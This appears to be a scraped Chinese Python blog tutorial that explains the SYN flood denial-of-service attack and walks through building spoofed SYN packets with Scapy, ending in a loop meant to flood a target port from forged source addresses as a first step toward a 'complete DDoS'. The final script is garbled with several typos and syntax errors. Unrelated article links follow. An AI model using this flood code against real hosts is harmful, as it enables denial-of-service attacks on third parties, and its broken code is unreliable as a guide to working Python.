Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
对python dataframe逻辑取值的方法详解
Jan 30 Python
django之静态文件 django 2.0 在网页中显示图片的例子
Jul 28 Python
解决Django删除migrations文件夹中的文件后出现的异常问题
Aug 31 Python
flask框架自定义过滤器示例【markdown文件读取和展示功能】
Nov 08 Python
Python如何访问字符串中的值
Feb 09 Python
Python中包的用法及安装
Feb 11 Python
基于SQLAlchemy实现操作MySQL并执行原生sql语句
Jun 10 Python
基于Python 的语音重采样函数解析
Jul 06 Python
python redis存入字典序列化存储教程
Jul 16 Python
浅析Python 多行匹配模式
Jul 24 Python
利用Python批量识别电子账单数据的方法
Feb 08 Python
python自然语言处理之字典树知识总结
Apr 25 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
Win9x/ME下Apache+PHP安装配置
2006/10/09 PHP
php 服务器调试 Zend Debugger 的安装教程
2009/09/25 PHP
php 数组的指针操作实现代码
2011/02/08 PHP
php设计模式 Singleton(单例模式)
2011/06/26 PHP
jquery 注意事项与常用语法小结
2010/06/07 Javascript
Jquery插件之打造自定义的select标签
2011/11/30 Javascript
ASP.NET jQuery 实例11 通过使用jQuery validation插件简单实现用户登录页面验证功能
2012/02/03 Javascript
jquery取子节点及当前节点属性值的方法
2014/09/09 Javascript
介绍一个简单的JavaScript类框架
2015/06/24 Javascript
基于Jquery代码实现支持PC端手机端幻灯片代码
2015/11/17 Javascript
jquery无法为动态生成的元素添加点击事件的解决方法(推荐)
2016/12/26 Javascript
JS中静态页面实现微信分享功能
2017/02/06 Javascript
详解JS中的立即执行函数
2017/02/24 Javascript
react native仿微信PopupWindow效果的实例代码
2017/08/07 Javascript
Vue.js分页组件实现:diVuePagination的使用详解
2018/01/10 Javascript
vue图片裁剪插件vue-cropper使用方法详解
2020/12/16 Vue.js
python分割和拼接字符串
2013/11/01 Python
python实现监控windows服务并自动启动服务示例
2014/04/17 Python
2款Python内存检测工具介绍和使用方法
2014/06/01 Python
举例讲解Python中的list列表数据结构用法
2016/03/12 Python
PyCharm的设置方法和第一个Python程序的建立
2019/01/16 Python
Django 开发环境与生产环境的区分详解
2019/07/26 Python
python不使用for计算两组、多个矩形两两间的iou方式
2020/01/18 Python
python实现简单坦克大战
2020/03/27 Python
Django ORM实现按天获取数据去重求和例子
2020/05/18 Python
python能否java成为主流语言吗
2020/06/22 Python
python如何发送带有附件、正文为HTML的邮件
2021/02/27 Python
CSS3 clip-path 用法介绍详解
2018/03/01 HTML / CSS
北美最大的手工艺品零售商之一:Michaels Stores
2019/02/27 全球购物
什么是Rollback Segment
2013/04/22 面试题
司机辞职报告范文
2014/01/20 职场文书
个人四风问题对照检查材料
2014/09/26 职场文书
搞笑的爱情检讨书
2014/10/01 职场文书
给女朋友的道歉短信
2015/05/12 职场文书
背起爸爸上学观后感
2015/06/08 职场文书
Python使用random模块实现掷骰子游戏的示例代码
2021/04/29 Python